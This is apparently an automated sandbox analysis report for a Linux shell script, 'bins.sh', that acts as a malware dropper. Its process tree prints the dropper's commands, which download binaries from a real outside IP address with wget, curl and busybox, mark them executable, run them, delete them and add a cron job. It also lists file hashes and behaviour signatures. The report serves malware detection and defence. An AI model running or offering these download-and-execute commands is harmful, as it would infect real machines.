Analysis

  • max time kernel
    149s
  • max time network
    177s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    21-11-2024 06:46

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    0a7d8be88ccc96d0d1a91c27f63e3a6c

  • SHA1

    ba922eff12ebe57a6064f8773d16d9a51cde88f1

  • SHA256

    7b26e1067afb6e7ff3edc8cc34bd25819a0439cedcfefe6e8a9a28cb62b56277

  • SHA512

    3279e6ff5af91dc2a1ec24a55dcfa8fb40b686359dcc57febf40fa24673159ee6946521e9e8212d9ea533e160e94041cc66c442130019c5d3dc537cfb83e48b3

  • SSDEEP

    192:my+UaEM28EdM7z3479lW7LvcN1vL+Us+U0+UEdUTUHUFCOv9lMLv3BfBx7amn78V:nxMQiCSyW5dCyh/xCeyW5dCyY

Malware Config

Signatures

  • Contacts a large (2072) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:662
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:665
        • /usr/bin/wget
          wget http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Writes file to tmp directory
          PID:670
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:688
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Writes file to tmp directory
          PID:693
        • /bin/chmod
          chmod 777 AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • File and Directory Permissions Modification
          PID:694
        • /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          ./AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Executes dropped EXE
          PID:695
        • /bin/rm
          rm AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
            PID:697
          • /usr/bin/wget
            wget http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Writes file to tmp directory
            PID:698
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:705
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Writes file to tmp directory
            PID:710
          • /bin/chmod
            chmod 777 Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • File and Directory Permissions Modification
            PID:713
          • /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            ./Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Executes dropped EXE
            PID:716
          • /bin/rm
            rm Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
              PID:718
            • /usr/bin/wget
              wget http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Writes file to tmp directory
              PID:719
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:725
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Writes file to tmp directory
              PID:730
            • /bin/chmod
              chmod 777 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • File and Directory Permissions Modification
              PID:733
            • /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              ./7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:735
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:737
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:738
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:740
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        • Reads runtime system information
                        PID:741
                  • /bin/rm
                    rm 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
                    2⤵
                      PID:749
                    • /usr/bin/wget
                      wget http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                      2⤵
                        PID:753
                      • /usr/bin/curl
                        curl -O http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                        2⤵
                          PID:835
                        • /bin/busybox
                          /bin/busybox wget http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                          2⤵
                          • Writes file to tmp directory
                          PID:839
                        • /bin/chmod
                          chmod 777 jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                          2⤵
                          • File and Directory Permissions Modification
                          PID:853
                        • /tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                          ./jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                          2⤵
                          • Executes dropped EXE
                          PID:854
                        • /bin/rm
                          rm jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                          2⤵
                            PID:855
                          • /usr/bin/wget
                            wget http://87.120.125.191/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                            2⤵
                              PID:856
                            • /usr/bin/curl
                              curl -O http://87.120.125.191/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                              2⤵
                                PID:858
                              • /bin/busybox
                                /bin/busybox wget http://87.120.125.191/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                                2⤵
                                • Writes file to tmp directory
                                PID:861
                              • /bin/chmod
                                chmod 777 UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                                2⤵
                                • File and Directory Permissions Modification
                                PID:864
                              • /tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                                ./UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                                2⤵
                                • Executes dropped EXE
                                PID:865
                              • /bin/rm
                                rm UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                                2⤵
                                  PID:867
                                • /usr/bin/wget
                                  wget http://87.120.125.191/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                                  2⤵
                                    PID:868
                                  • /usr/bin/curl
                                    curl -O http://87.120.125.191/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    PID:869
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.125.191/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:870
                                  • /bin/chmod
                                    chmod 777 T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:871
                                  • /tmp/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                                    ./T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                                    2⤵
                                    • Executes dropped EXE
                                    PID:872
                                  • /bin/rm
                                    rm T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                                    2⤵
                                      PID:874
                                    • /usr/bin/wget
                                      wget http://87.120.125.191/bins/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                                      2⤵
                                        PID:875

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD

                                      Filesize

                                      141KB

                                      MD5

                                      3ca8decdb1e52c423c521bfff02ac200

                                      SHA1

                                      8621ecd6807109b8541912ad9e134f6fb49bfd48

                                      SHA256

                                      dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                      SHA512

                                      b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                    • /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI

                                      Filesize

                                      107KB

                                      MD5

                                      eb9c3a0de91fcf16ba17cb24608df68c

                                      SHA1

                                      09d95a7d70d5e115d103be51edff7c498d272fac

                                      SHA256

                                      dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                      SHA512

                                      9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                    • /tmp/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV

                                      Filesize

                                      111KB

                                      MD5

                                      701e7a55a4f3650f5feee92a9860e5fc

                                      SHA1

                                      6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                      SHA256

                                      ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                      SHA512

                                      7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                    • /tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G

                                      Filesize

                                      151KB

                                      MD5

                                      6c583043d91c55aa470c08c87058e917

                                      SHA1

                                      abf65a5b9bba69980278ad09356e53de8bb89439

                                      SHA256

                                      2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                      SHA512

                                      82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                    • /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL

                                      Filesize

                                      98KB

                                      MD5

                                      5141342d0df8699fa32a6b066a0c592e

                                      SHA1

                                      8157673225bd5182f16215e2aa823a25ca2d4fbc

                                      SHA256

                                      54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                      SHA512

                                      d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                    • /tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL

                                      Filesize

                                      127KB

                                      MD5

                                      89077b7bd4bcafca7713be43635c4862

                                      SHA1

                                      fc02edb8fba29ea8ee99e6157ef8560334530052

                                      SHA256

                                      78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                      SHA512

                                      1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                    • /var/spool/cron/crontabs/tmp.9ci2jW

                                      Filesize

                                      210B

                                      MD5

                                      0ebe2bf3e3a958688c6b0f97bfc27b43

                                      SHA1

                                      bbc41d08070c5fa9a29483a762dccfc19032e121

                                      SHA256

                                      f39f4d566824aa9ce322615afd0f62a1de1cb8ce2c22fffefd336c3f196a1274

                                      SHA512

                                      2a637f3bed846ecdeae157816ea2c9985e4b0389e8fcd9a9d033a8736618f1d41e6f98a9981ac0fe1f00cacab1d1ae32e73cab87e77c84ed219a0d9251d35c77

                                    • memory/698-1-0xb678f000-0xb67a0044-memory.dmp

                                    • memory/753-2-0xb6743000-0xb6754044-memory.dmp